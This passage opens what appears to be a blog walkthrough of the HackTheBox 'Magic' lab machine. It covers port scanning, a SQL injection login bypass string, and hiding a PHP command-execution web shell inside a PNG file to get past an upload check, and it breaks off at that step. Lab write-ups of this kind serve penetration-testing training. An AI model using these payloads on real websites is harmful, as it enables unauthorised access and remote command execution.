Magic is a Medium rated difficulty Linux machine from HackTheBox created by TRX. This machine is well designed, is not complex and you don’t have to search from every corner of the machine for some clues. In the current post my IP is 10.10.14.18 and the target’s IP is 10.129.44.173
Gather Information
First of all, let’s start with a basic scan.
Local Terminal
nmap-p---open-T5-v-n10.129.44.173
For now, we can only detect a web site, nothing special.
Here we are going to try 2 login combinations, a default password and an SQL Injection, {admin : admin} and {admin : ' or 1=1 -- -}. With the second one you will be in.
We can upload files and we know the directory /images/uploads/ to visit the image alone (You can test it if you want), so first we will try to upload a PHP file.
With that utility, by writing test.php?cmd={Command} at the end of the URL in the location of the file, we will be able to enter to the machine.
Browser: {Upload test.php}
Oh no
By the magic numbers, the file is recognized as a PHP Script file, with knowing this, we will modify a PNG file and add the code.
Browser: {search and download a png file}
Adding <?php system($_GET[‘cmd’]); ?> at the 3rd row